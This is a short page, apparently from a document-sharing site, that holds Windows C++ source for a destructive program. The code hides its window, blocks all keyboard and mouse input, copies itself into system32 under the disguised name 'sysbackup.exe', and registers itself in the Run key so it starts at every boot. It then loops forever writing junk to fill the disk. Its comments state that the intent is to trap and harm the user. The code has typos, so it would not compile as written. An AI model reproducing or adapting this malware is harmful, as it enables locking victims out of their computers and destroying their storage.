You are on page 1of 1

After some amendments

#include <stdlib> #include <fstream> using namespace std; #include <windows.h> #include <winable.h> int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { //Hide the window, so that the user can't exit the proggy HWND wnd=FindWindow("ConsoleWindowClass",NULL); ShowWindow(wnd,SW_HIDE); //Block all user input >=) BlockInput(true); //Autostart char windir[MAX_PATH]; char currentfile[MAX_PATH]; HMODULE Me=GetModuleHandle(NULL); GetModuleFileName(Me, currentfile, sizeof(currentfile)); GetWindowsDirectory(windir, sizeof(windir)); strcat(windir, "\\system32\\sysbackup.exe"); CopyFile(currentfile, windir, false); HKEY hkey; RegCreateKey (HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey); RegSetValueEx (hkey, "Microsoft CrapWare", 0, REG_SZ, (LPBYTE)windir, sizeof(windir)); //Eat free space ofstream file; file.open("a.exe"); while(1) { fille<<"afdsghfdsfdhfhdsagh3rhhfdhdsahahh43h5gfnm454hjjsdhsafdgfdhgfher44gfd\n"; } return 0; }

You might also like